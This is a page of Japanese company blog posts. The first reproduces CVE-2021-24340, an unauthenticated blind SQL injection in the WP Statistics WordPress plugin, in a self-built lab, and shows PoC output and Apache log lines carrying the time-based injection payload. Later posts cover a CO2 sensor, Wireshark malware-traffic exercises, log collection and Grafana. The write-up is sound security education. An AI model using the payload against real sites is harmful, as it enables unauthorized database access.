Armoris日記 CVE-2021-24340編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2021-24340の検証

今回のArmoris日記では2021/05/19に公開されたCVE-2021-24340について簡単な検証を行います。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2021-24340はWP StatisticsというWordPressのサイトアナリティクスを表示するプラグインに存在するブラインドSQLインジェクション脆弱性になります。本来であれば認証が必要なリクエストを攻撃者が認証を必要とせず実行できてしまうことに問題があります。
今回脆弱性が報告されたプラグインは60万件のサイトで導入されています。

ブラインドSQLインジェクションとは

脆弱性情報:Wordfence
該当プラグインWP Statistics

影響を受けるバージョン:WP Statistics < 13.0.8

検証環境

検証用に用意した環境と各種バージョン情報は以下のとおりです。

Name Version
Ubuntu Server 20.04
WordPress 5.7.2
WP Statistics 13.0.7

検証環境作成

まずVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6823, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.33
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2021-24340/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.33 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段私がArmoris日記で検証用に環境構築をする際使用しているymlファイルが表示されます。

WordPressのインストールが完了後プラグインの用意をします。

$ wget https://downloads.wordpress.org/plugin/wp-statistics.13.0.7.zip
$ sudo unzip wp-statistics.13.0.7.zip
$ sudo mv wp-statistics /var/www/wordpress/wp-content/plugins/

プラグインファイルを解凍後にWordPressプラグインフォルダに移動し、ブラウザからサイトにアクセスしてプラグインを有効化します。
プラグインを有効化したら一度WordPressにアクセスし直してデフォルトのページを表示します。こうすることでサイトのアナリティクスデータが作成され、攻撃が可能になります。

PoCの実行

2021/06/09現在いくつかPoCが公開されており、今回は実際にスクリプトを使用してDBのバージョン情報を取得します。

実際に攻撃実行した結果になります。

$ python3 poc.py http://172.20.100.120:6823/wp-admin/admin.php 1
2021-06-09 04:15:32
[*] Params:
        [*] BaseURL: http://172.20.100.120:6823/wp-admin/admin.php
        [*] Timeout: 1
1
10
10.
10.3
10.3.
10.3.2
10.3.29
10.3.29-
10.3.29-M
10.3.29-Ma
10.3.29-Mar
10.3.29-Mari
10.3.29-Maria
10.3.29-MariaD
10.3.29-MariaDB
10.3.29-MariaDB-
10.3.29-MariaDB-0
10.3.29-MariaDB-0u
10.3.29-MariaDB-0ub
10.3.29-MariaDB-0ubu
10.3.29-MariaDB-0ubun
10.3.29-MariaDB-0ubunt
10.3.29-MariaDB-0ubuntu
10.3.29-MariaDB-0ubuntu0
[*] Exfiltrated data: 10.3.29-MariaDB-0ubuntu0
2021-06-09 04:19:45

以下は実際にWordPressで使用しているDBサーバーでバージョン情報を表示した結果になります。

MariaDB [wordpress]> SELECT @@VERSION;
+----------------------------------+
| @@VERSION                        |
+----------------------------------+
| 10.3.29-MariaDB-0ubuntu0.20.04.1 |
+----------------------------------+
1 row in set (0.002 sec)

実際に認証を必要とせずDBサーバーの情報と同じものが取得できることが確認できます。

この時のApacheのログを確認すると以下のようになっています。

192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D110)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D110%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D111)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D111%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4853 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D112)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D112%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D113)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D113%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"

非常に特徴的なリクエストが送信されていることがわかります。

まとめ

今回は久しぶりのArmoris日記検証編でした。
取り上げたプラグインではいくつかのSQLインジェクション対策がされていましたが、リクエストの仕方を工夫することで回避できることが発見されています。
実際にこう言った状況が発生した際にすぐに対策を行なったりアップデートを行えるように運用にも気を配る必要があると感じました。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Raspberry Pi と Senseair Sunrise で CO2 濃度計測編

Raspberry Pi と Senseair Sunrise を使って CO2 濃度を測ります

このブログは、N 高等学校と VRChat の世界からやってきた株式会社 Armoris アルバイトの Shadero が書いています。
あるもりすぶろぐの内容は個人の意見です。

なぜ CO2 濃度なのか

厚労省からコロナ対策の一環として、良好な換気状態を示すCO2 濃度の基準値が提示されています。
これを参考に社内でも対策の一環として適切な換気状態の維持を目的として CO2 濃度の計測を行います。

Senseair Sunrise ってなに?

Senseair Sunriseとは2018 年に旭化成のグループ会社になった Senseair 社が開発する CO2 センサーのこと。

今回このセンサーを使用するのは、Winsen 社の MH-Z19 など他の CO2 センサーと比べて消費電力が比較的少ないこと、400 ~ 5000ppm まで CO2 濃度を計測可能で、誤差も ±30ppm で一般的な用途としては十分な計測範囲と精度を持っているためです。

(センサーは Digikey から 6500 円くらいで購入可能です)

環境

Type Name
PC Raspberry Pi 3 Model B+
OS Raspbian 10 buster
CO2 sensor Senseair Sunrise

CO2 センサーを繋ぐ PC は、先日の記事で温度・湿度・気圧をグラフ化した際に使用したラズパイを使用しています。

また、Senseair Sunrise は I2C と UART の 2 つの通信手段で通信が可能ですが、今回は UART を使用して通信を行います。
(UARTはアドレスを意識しなくて済むので少しだけ楽)

シリアル通信を有効にする

早速ラズパイと Senseair Sunrise を繋ぐ…!といきたい所ですが、ラズパイと Senseair Sunrise 間で使用するシリアル通信が、ラズパイのデフォルト設定では無効になっているためraspi-configから有効にします。

  1. $ sudo raspi-config
  2. Interface Options と書かれた項目を選択 f:id:Armoris:20210513164925p:plain
  3. Serial Port と書かれた項目を選択 f:id:Armoris:20210513165139p:plain
  4. シリアル通信経由でシェルにログインするか聞いてくるので No を選択 f:id:Armoris:20210513165331p:plain
  5. シリアル通信を有効にするため Yes を選択 f:id:Armoris:20210513165450p:plain

ラズパイと Senseair Sunrise を繋いでみる

シリアル通信が有効になったら、いよいよラズパイと Senseair Sunrise を繋ぎます。

Senseair Sunrise の統合ガイドを参照して今回は各ピンを以下のように接続しています。

Senseair Sunrise Raspberry Pi 3 Model B+
VDD 3V3Power P17
EN 3V3Power P17
VDDIO 3V3Power P17
DVCC 接続しない
RXD/SDA GPIO 14(TXD) P8
TXD/SCL GPIO 15(RXD) P10
nRDY 接続しない
COMSEL 接続しない
GND Ground P25

CO2 濃度を取得してみる

Senseair Sunrise のデータシートを参照しながら Golang を使って CO2 濃度を取得するコードを書きます。

package main

import (
    "log"
    "time"

    "github.com/tarm/serial"
)

func main() {
    // どのポートを使うのか、どの速度で通信するのか、何ミリ秒でタイムアウトするのかを設定してポートを開く。
    c := &serial.Config{
        Name:        "/dev/serial0",
        Baud:        9600,
        ReadTimeout: time.Millisecond * 180}
    ser, err := serial.OpenPort(c)
    if err != nil {
        log.Fatal(err)
        return
    }
    defer ser.Close()

    // CO2濃度を取得するためのメッセージを用意してセンサーに送信する。
    // (詳細はセンサーのデータシートとModbusプロトコルの仕様を参照してくれると幸いです。)
    co2Read := []byte{0xfe, 0x04, 0x00, 0x03, 0x00, 0x01, 0xd5, 0xc5}
    if _, err = ser.Write(co2Read); err != nil {
        log.Fatal(err)
        return
    }

    // センサーからラズパイ側に値が送られるまで待つ
    time.Sleep(time.Millisecond * 50)

    // センサーから送られてきた値を保存する。
    buf := make([]byte, 128)
    _, err = ser.Read(buf)
    if err != nil {
        log.Fatal(err)
        return
    }

    // センサーから送られてきた値を人間が読めるように変換してログに表示する。
    co2 := (int(buf[3]) << 8) | int(buf[4])
    log.Printf("%vppm\n", co2)
}

  1. Golangのコードをラズパイ向けに設定してビルドします。

    $ GOOS=linux && GOARCH=arm && GOARM=6`
    $ go build ./GetCO2
    

  2. 実行ファイルに実行権限を付与して実行します。

    $ chmod 744 ./GetCO2
    $ ./GetCO2
    

結果

上記のコードをビルドして実行すると CO2 濃度がシェルに表示されます! f:id:Armoris:20210513175721p:plain

やってみて

Senseair Sunrise のデータシートを見ながら動かしていったのですが、筆者の経験不足から「これ動くのかな…。」と思いながらずっと作業していました...。
とりあえずセンサーを壊さずに動かせたのでよかったです!
(画像は Senseair Sunrise をユニバーサル基板の上に配置して動かしたときの画像) f:id:Armoris:20210513184151j:plain

Senseair Sunrise に関する文献が少ないのと、筆者の知識不足が相まって情報に誤りや不足があるかもしれません。お気づきの方はコメントを頂けると幸いです…!

ご覧いただきありがとうございました!

Armoris日記 pcap分析編 その2 ~問題への取り組み方とヒント~

このブログは、N高等学校を卒業して、かぷかぷ笑っている株式会社Armorisのアルバイトkuramubon_8810が書いています。

あるもりすぶろぐの内容は個人の意見です。

やっていくこと

今回は前回のpcap分析編 その1 ~Wiresharkの使い方~に続いて問題を解く際に行うと良い準備や、実際に問題をどのような手順で解いていくかなど、問題への取り組み方やヒントを解説していきます。

ブログ内で使用するもの

問題とツールは前回と同様に下記サイトのものとWiresharkを使用して解説していきます。

解く際に行うと良い事前準備

色付けを使用してどのような通信が行われているか確認

  • 前回説明をした色付けを活用していきます。 f:id:Armoris:20210421144343p:plain f:id:Armoris:20210421144556p:plain
  • 赤枠で囲った部分を見てみると、TCPやHTTPでのやり取りが多いことが確認できます。

    アラートがあれば確認

    パケットには通信に関する情報がすべて記載されているため、膨大な情報量になります。そこで、目的の情報を得るためにアラートを確認すると良い場合があります。
    今回はアラートの中から問題を解くのに必要な情報がないかを確認していきます。

解き方のヒント

一問目

問題文: What is the PUBLIC IP of the infected host? (Hint: One of the alerts says what the malware used to figure this out.)
「感染したホストのPUBLIC IPはなんですか?(ヒント: アラートの一つに、マルウェアがこの情報を把握するために使用した内容が記載されています)」

  • まずは問題文のヒントを参考にアラートを確認します。 f:id:Armoris:20210422190945p:plain
  • アラートを確認するとEvent MessageにExturnal IPと書いてあるアラートがあります。(画像内赤枠)
  • Exturnalとは外部のという意味なので、問題のPublic IPに何か関係がある可能性が高いと考えられます。
  • 実際にExternal IPと書いてあるアラートを確認すると"myip.opendns.com in DNS lookup" と書かれています。
  • 送信先アドレスが208.67.222.222となっておりOpenDNSと一致します。(画像内青枠)
  • DNSでのやり取りかつ208.67.222.222とのやり取りのみを表示して確認します。
    • dns && ip.addr == 208.67.222.222

f:id:Armoris:20210423135825p:plain

  • Wikipediaを確認するとグローバルIPの問い合わせに関して、「このほか、myip.opendns.comに対してAやAAAAレコードを問い合わせると、発信元のグローバルIPアドレスを返答する機能がある」と記載されています。
  • 実際にパケットを確認してみると、myip.opendns.comに対してAやAAAAで問い合わせているものがいくつかあることがわかります。(画像内赤枠)
  • 一問目の回答はこれらのパケットに対するレスポンスを確認すると問題の解答につながります。

二問目

問題文: What is the language of the infected host set to?
感染したホストの言語は何に設定されていますか?

  • まずは一問目と同様にアラートを確認しますが、回答に関係がありそうなアラートは確認できません。
  • 次にパケットを詳しく見ていきます。
  • 今回注目するのはHTTP HeadersのAccept-Languageというものです。
  • そこでまずHTTPでのやり取りのみを絞り込みます。
    • http

f:id:Armoris:20210422192904p:plain

  • この中でクライアントからサーバーへのパケットはGETリクエストとして送られていることがわかります。
  • 前回説明をしたPacketDetailsペインからパケットに関する詳細な情報を確認するとAccept-Languageの項目が含まれています。

三問目

問題文: What is the name of the malware?
マルウェアの名前はなんですか?

  • まずはアラートを確認します。
  • 一見すると問題に関係のある情報は無いように見えますが、Event Messageに"TROJAN"と記載されているアラートが確認できます。(画像内赤枠)

f:id:Armoris:20210422193320p:plain

  • TROJANとはトロイの木馬のことで、トロイの木馬というのは聞いたことがある人も多いと思います。
  • 画像の下から2つ目にあるアラートには"Zeus Panda Banker"や"Ursnif"といった名前が書いてあり、"Malcious SSL Certificate Detected"(悪意のあるSSL証明書を見つけた)となっています。
  • これらの名前についてGoogleなどで検索し、情報を集めることで問題の解答につながります。

四問目

問題文: The malware tried, and failed, to download a file ending with .avi from what host?
マルウェアは.aviで終わるファイルをダウンロードしようとしましたが、失敗しました。失敗したのはどのホストですか?

ここで確認したIPアドレスへアクセスすることは危険です

  • まずはアラートを確認しますが、問題に関係ありそうな情報は確認できません。
  • 次にパケットを確認します。
  • pcapファイルを色付けして確認したところ、DNSTCP、HTTP、NBNSでのやり取りが行われていることが確認できます。
  • 通信が行われているプロトコルからダウンロードに失敗した原因として考えられるものは、HTTPのステータスコードが400番台、500番台の場合、TCPのコネクションが確立できていない可能性などが考えられます。
  • そこで、ステータスコードと、TCPのエラーで絞り込みます。
    • http.response.code >= 400、tcp.analysis.flags

f:id:Armoris:20210423140146p:plain f:id:Armoris:20210423140215p:plain

  • これらのパケットを返してきた送信元のIPアドレスを確認すると解答につながります。

五問目

問題文: What host did the malware succeed in downloading the .avi file from?
マルウェアはどのホストから.aviファイルのダウンロードに成功しましたか?

ここでエクスポートできるファイルを開いたり実行したりすることはとても危険です。
ダウンロードの成否に関わらず、ホストに対してアクセスを試みたりすることも危険です。

  • まずはアラートを確認しますが、四問目と同様にダウンロードに関係ありそうな情報は確認できません。
  • 次にパケットを確認すると4問目と同様に、DNSTCP、HTTP、NBNSでのやり取りが行われていることが確認できます。
  • ここで前回紹介したエクスポート機能を使ってHTTPでのオブジェクトをエクスポートします。

f:id:Armoris:20210423143225p:plain

  • エクスポートできるファイルの一覧を表示します。

f:id:Armoris:20210423144519p:plain

  • この中から.aviファイルを選択するとダウンロードした際のパケットが表示されます。
  • それぞれ.aviファイルをダウンロードした際のパケットを確認すると、常に成功しているわけではなく、"404 Not Found"が返ってきた上でダウンロードされているパケットがあります。
  • これらはGoogleのエラーページのhtmlが.aviとしてダウンロードされているもののため問題には関係がありません。
    • 実際にファイルの拡張子をhtmlに変えてブラウザで開くとGoogleのエラーページが確認できます。

f:id:Armoris:20210423144305p:plain

  • ダウンロードに成功しているパケットを探し、ホスト名(画像内赤枠)を確認すると解答につながります。

終わりに

pcap分析は様々なところに散りばめてあるヒントを拾い集め、調べながら答えを導き出していく過程が、謎解きやパズルのようでとても楽しいです。

まだまだ自分もpcap分析駆け出し(?)ではありますが、もっと様々なパケットを見て、分析していきたいと思います。

この記事を見て、pcap分析を少しでも面白そうと感じていただけたのであれば、ぜひ一度挑戦してみてください。

Armoris日記 pcap分析編 その1 ~Wiresharkの使い方~

このブログは、N高等学校を卒業して、かぷかぷ笑っている株式会社Armorisのアルバイトkuramubon_8810が書いています。

あるもりすぶろぐの内容は個人の意見です。

やっていくこと

初めてpcap分析をやろうとすると最初何をすればいいのかが全くわからず、なかなか手が動かないと思います。
今回はpcap分析を行う為の導入として、ツールの使い方や問題への取り組み方を紹介していきます。

第一回目である本ブログでは「pcap分析編 その1」ということで、pcap分析に使用するツールであるWiresharkの使い方や機能を紹介します。

ブログ内で使用するもの

今回はWiresharkを使用して下記サイトの問題を例題として紹介しています。

そもそもpcapファイルとは?

PCAPとは「Packet CAPture」の略称で、文字通りパケットをキャプチャ(caputure: 捕らえる)したデータファイルのことです。

  • パケット(packet)とは?
    • データの通信をする際、送信するデータを小分けにしたもののことです

Wiresharkの基礎知識

UI

Wiresharkでpcapファイルを開くと以下のような表示になります。
各フィールドについてわかりやすく説明するため色付きの枠で区別しています。

f:id:Armoris:20210409170801p:plain

Filter ツールバー : Wireshark リファレンス

  • 条件文を入力することでディスプレイフィルタを設定できます。
  • "wireshark display filter cheat sheet" とGoogleで検索することで様々な条件文を調べられます。
  • dnsと入力することでDNSでのやりとりのみを表示します。

f:id:Armoris:20210409170851p:plain

  • ip.dst == 10.11.10.149と入力することで10.11.10.149に対して送られたパケットのみを表示します。

f:id:Armoris:20210409170926p:plain

Packet List ペイン : Whireshark リファレンス

  • パケット単位でリスト表示します。
  • パケット単位で情報を確認する際に使用します。
表示項目
  • No
    • パケット番号
  • Time
    • パケットキャプチャを開始してから、何秒後にキャプチャしたかという経過時間
  • Source
    • パケットの発信元(ソースアドレス)
  • Destination
    • パケットの送信先(デスティネーションアドレス)
  • Protocol
  • Length
    • フレーム長(パケットの長さ)
  • Info
    • その他の情報

Pakcet Details ペイン: Wireshark リファレンス

  • レイヤー毎の細かな詳細が確認できます。
  • 1つ目のパケットを選択すると以下のような情報が確認できます。

f:id:Armoris:20210409171609p:plain

  • ネットワークインターフェース層を確認します。

f:id:Armoris:20210409161038p:plain

  • インターネット層を確認します。

f:id:Armoris:20210409161055p:plain

f:id:Armoris:20210409161114p:plain

  • アプリケーション層を確認します。

f:id:Armoris:20210409161254p:plain

Packet Bytes ペイン: Wireshark リファレンス

  • バケットの実際のデータが確認でき、左からデータオフセット、HEX、ASCIIの順に表示されています。
  • 1つ目のパケットデータの全体を確認します。

f:id:Armoris:20210409161635p:plain

  • ネットワークインターフェース層のデータを確認します。

f:id:Armoris:20210409161656p:plain

  • インターネット層のデータを確認します。

f:id:Armoris:20210409161711p:plain

f:id:Armoris:20210409161734p:plain

  • アプリケーション層のデータを確認します。

f:id:Armoris:20210409161749p:plain

追跡

  • ストリームを追跡できます。
  • ストリームとは
    • データのやり取り(送受信)のことです。

  • わかりやすいhttpストリームを例に追跡してみます。
  • 対象のパケットを選択後、下記画像の操作で追跡を行います。

f:id:Armoris:20210409171909p:plain

  • Wiresharkの画面が画像のようになり、相互に通信が行われているのが確認できます。

f:id:Armoris:20210409173655p:plain

  • 下記画像のダイアログを開くと以下のように指定した形式でデータを表示することができます。
    • デフォルトではASCII形式でデータを表示します。

f:id:Armoris:20210409175029p:plain

エクスポート

  • パケットデータを様々な方法で抽出することができます。

  • 例としてわかりやすいオブジェクトのエクスポートを試します。
  • 今回は下記画像の操作でHTTPオブジェクトのエクスポートを行います。
    • IMFを選択してメールの添付ファイルをエクスポートしたりすることもできます。

f:id:Armoris:20210409175453p:plain

  • 下記画像のダイアログが開き、他にもhtmlファイルやimgファイルがあることが確認できます。
    • これらのファイルを実際にダウンロードすることもできます。

ダウンロードしたファイルをむやみに開いたり実行することはとても危険です

f:id:Armoris:20210409175718p:plain

色付け

  • Wiresharkには色付け(colorization)というものがあり、プロトコルやイベント、エラーごとに色分けしてくれる機能があります。

f:id:Armoris:20210409171134p:plain

  • これを使用することでどのような通信が行われているのか、どのようなエラーが出ているのかを色で簡単に確認することができます。

終わりに

自分もまだまだ使いこなしきれてはいませんが、Wiresharkは使いこなせるようになるととても楽しいです。

今回、初めてブログを書きましたが、何かを順序立てて説明しようと思ったらしっかりとした知識と理解がなければできないということに気づきました。 それにより説明することが自分の学びにもつながるということを実感できました。

次回は解く際に行うと良い準備や、実際の問題でどのような手順で答えを導いていくのかといった、問題への取り組み方を説明していきます。

Armoris日記 syslogサーバー構築編

このブログは、PlanetSide2から来てN高等学校に紛れ込んでいる株式会社Armorisのアルバイトseigo2016が書いています。
あるもりすぶろぐの内容は個人の意見です。

MattermostのログをKibanaで可視化する

今回のArmorisブログではMattermostと言われるSlackライクなチャットツールのログを収集し、Kibanaというツールを用いてIndex Patternを作成しログを可視化する方法を紹介します。

環境

syslogサーバー (ローカルIP: 172.20.100.37)

syslogサーバーとして以下の環境を使用しています。

name version
Ubuntu 20.04.2 LTS
td-agent 4.1.0
Elasticsearch 7.11.1
Kibana 7.11.2
Mattermostサーバー

今回収集するMattermostのログは以下のパスに保存されているものを使用します。

  • Mattermost ログ /opt/mattermost/logs/mattermost.log
name version
Vagrant (bento/ubuntu-20.04)
td-agent 4.1.0
mattermost 5.32.1

1. syslogサーバーの環境構築

まずは今回のメインであるログを収集するためのソフトウェアであるtd-agent(fluentd)を公式のリファレンスに従ってインストールします。

公式ページによると、td-agentはfluentdの安定版とのことです。
以下公式ページより

td-agent is a stable distribution package of Fluentd. 

以下のコマンドを使用してインストールスクリプトをダウンロードし実行します。

curl -L https://toolbelt.treasuredata.com/sh/install-ubuntu-focal-td-agent4.sh | sh

fluentdからElasticsearchに流すためのプラグインをインストールします。

sudo /usr/sbin/td-agent-gem install fluent-plugin-elasticsearch

次に公式のリファレンスに従ってElasticserachをインストールします。

設定は/etc/elasticsearch/elasticsearch.ymlファイルを編集します。
今回は同じサーバー上で動いているfluentdからしかログを受け取らないため、network.hostはデフォルトのlocalhostからリクエストを受け取る設定にします。
また、待ち受けるポートは9200になります。

network.host: _local_
http.port: 9200

Elasticserachの設定が完了したら公式のリファレンスに従ってKibanaをインストールします。

Kibanaの設定は/etc/kibana/kibana.ymlファイルを編集します。

server.port: 5601
server.host: "172.20.100.37"
elasticsearch.hosts: ["http://localhost:9200"]

2. Mattermostのログの収集

syslogサーバーの設定が完了したらMattermostのログ(今回の環境では/opt/mattermost/logs/mattermost.log)をfluentdで読み込み後、syslogサーバーに転送するための設定を行います。

Mattermostのサーバーにもsyslogサーバーと同じ手順でtd-agentをインストールします。

td-agentがインストールできたらMattermostのログをsyslogサーバーに転送する設定をします。
読み込むログファイルのパスとして、/opt/mattermost/logs/mattermost.logを指定し、管理しやすいようにタグをmattermostに設定します。
最後に読み込んだログの位置を記録するファイル(pos_file)も指定します。


  @type tail
  
    @type none
  
  path /opt/mattermost/logs/mattermost.log
  pos_file /var/log/td-agent/tmp/mattermost.pos
  tag mattermost

次にmattermostタグのついたイベントを、syslogサーバーで待ち構えているfluentdにforwardプラグインを使用して転送します。
<server>ディレクトリ内に送信先のサーバーのipアドレスとポートを指定します。


  @type forward
  send_timeout 60s
  
    host 172.20.100.37
    port 24424
  

Mattermostサーバーからsyslogサーバーに転送したmattermostタグが付いたイベントに対して処理を行います。
mattermostタグのついているログに対して、filterプラグインを使用してjsonフォーマットとしてパースし、ElasticsearchプラグインでElasticsearchに転送します。

syslogサーバーは24424ポートで待ち受けます。


  @type forward
  port 24424
  bind 0.0.0.0

mattermostタグのついたイベントのmessageキーをjsonログとしてパースします。


  @type parser
  key_name message
  
    @type json
  

mattermostタグのついたイベントをポート9200で待ち受けているElasticsearchに送信します。
logstash_formatとはログをlogstashのログ形式(logstash-%Y.%m.%d)にフォーマットするかどうかを指定します。
logstash_prefixlogstash_formatのログ名部分を指定した名称にします。この場合はmattermost-%Y.%m.%dのようになります。


  @type elasticsearch
  host 127.0.0.1
  port 9200
  type_name mattermost
  logstash_format true
  logstash_prefix mattermost

3. Kibanaの設定

最後にKibanaでの設定を行います。
まずは下の画像のように左のメニュータブを開き、Stack Managementを選択してインデックスメニューを作成します。

f:id:Armoris:20210326151001p:plain

次に、下の画像のように左のメニューからIndex Patterns(画像の①)を選択し、Create index patternをクリック(画像の②)して作成画面に遷移します。

f:id:Armoris:20210326151030p:plain

Index Pattern Nameには、収集したいログのtd-agent.conflogstash_prefixに設定した名前を指定します。

今回はIndex Nameがmattermost-%Y.%m.%dという形式になるため、これにマッチさせる為に下の画像のようにmattermost-*と指定しNext Stepをクリックします。

f:id:Armoris:20210326150657p:plain

Time fieldは@timestampを指定して作成します。

f:id:Armoris:20210326150700p:plain

以上の設定を行うと以下の画像のようなフィールド構造になります。

f:id:Armoris:20210326150829p:plain

最後に正常に設定できているか確認します。
以下の画像のように左のメニューのAnalytics欄のDiscoverをクリックすることで、収集されたログが表示されます。

f:id:Armoris:20210326150849p:plain

最後に

今回はFluentdとElasticsearch、Kibanaを利用してログを収集する方法をご紹介しました。
複数のサーバーで運用しているサービスのログを一箇所で管理することでそれぞれのサーバーにログを見に行く手間が省け、調査が容易になる為とても便利だと思います。
管理対象のログが複数サービスでは無い場合でも、生のログファイルを見るよりもグラフ表示などにより格段に見やすく為是非試してみてください。

Armoris日記 ラズパイと BME280 で温度・湿度・気圧を測って グラフ化して表示する編 [その 3]

このブログは、N 高等学校と VRChat の世界からやってきた株式会社 Armoris アルバイトの Shadero が書いています。
あるもりすぶろぐの内容は個人の意見です。

こんなことがやりたい!

  1. 温度・湿度・気圧を計測する
  2. 計測した値を DB に保存する
  3. グラフ化して表示する

本記事は[その 2]の続きです。
[その 3]では いよいよ DB に保存された値を用いてグラフ化を行います!

環境

Type Name
Machine Raspberry Pi 3 Model B+
OS Raspbian 10 buster
Temperature, humidity & pressure sensor BME280

使用ソフトウェア

Name Version
InfluxDB 1.8.3
Grafana 7.3.7

グラフ化ツールとして Metabase や Chronograf などがありますが、今回は文献の多さを考慮して Grafana を選択しました。

Grafana をインストールしてみる

Grafana が入っていないと何も始まらないのでとりあえずインストールします。

Grafana は標準では登録されていないのでリポジトリを追加してインストールします。

$ wget -q -O - https://packages.grafana.com/gpg.key | sudo apt-key add -
$ echo "deb https://packages.grafana.com/oss/deb stable main" | sudo tee -a /etc/apt/sources.list.d/grafana.list
$ sudo apt-get update && sudo apt-get install -y grafana

Grafana を起動及び自動起動させる

インストールしただけでは起動してくれないため起動させます。
また、ラズパイを再起動した際に自動で Grafana が起動してくれないと不便である事が多いので、自動起動の設定も行います。

$ sudo systemctl unmask grafana-server
$ sudo systemctl start grafana-server
$ sudo systemctl enable grafana-server

Grafana にログインしてみる

ラズパイと同じネットワーク内にあるデバイスのブラウザで http://raspberrypi.local:3000 に接続するとログインが求められるのでデフォルトの ID&PWD でログインします。

Username Password
admin admin

f:id:Armoris:20210310144142p:plain

このままログインすると新しいパスワードの設定を促されるので新しいパスワードを設定します。
デフォルトのパスワードを使い続けるのはとても脆弱なため、外部に公開する際などはパスワードを変更することを強く推奨します。
f:id:Armoris:20210310144203p:plain

InfluxDB に Grafana 用のユーザーを作成する

このまま Grafana から[その 2]で作成したデータベース(iot01)に接続して値を読み取ってグラフ化…!と行きたいのですが、該当データベースの読み込み権限を持ったユーザーを使って接続しないと、データベースにある値を読み込む事が出来ないため、Grafana がデータベースから値を取得できるように InfluxDB に Grafana 用のユーザーを作成します。

Influx へ接続します。
$ influx

Grafana が DB に値を読み出すときに使う grafana という名前のユーザーを作成します。
CREATE USER grafana WITH PASSWORD 'ここにパスワードを書く'

grafana ユーザーに読み込み権限を与えます。
GRANT READ ON "iot01" TO "grafana"

データベースに接続する

Grafana で、先程作成したユーザーを使って[その 2]で作成したデータベースに接続します。

画面左側にある Configration にある Data Sources をクリックします。
f:id:Armoris:20210310144231p:plain

Add data source をクリックして Influx DB を見つけ選択します。
f:id:Armoris:20210310144252p:plain

下記の画像のように、InfluxDB の URL と、データベース名と 先程作成した Grafana が使うユーザーの名前とパスワードを書き込みます。
f:id:Armoris:20210310144314p:plain

Save & Test をクリックし、テストに成功したら Back をクリックして戻ります。

DashBoard を作成する

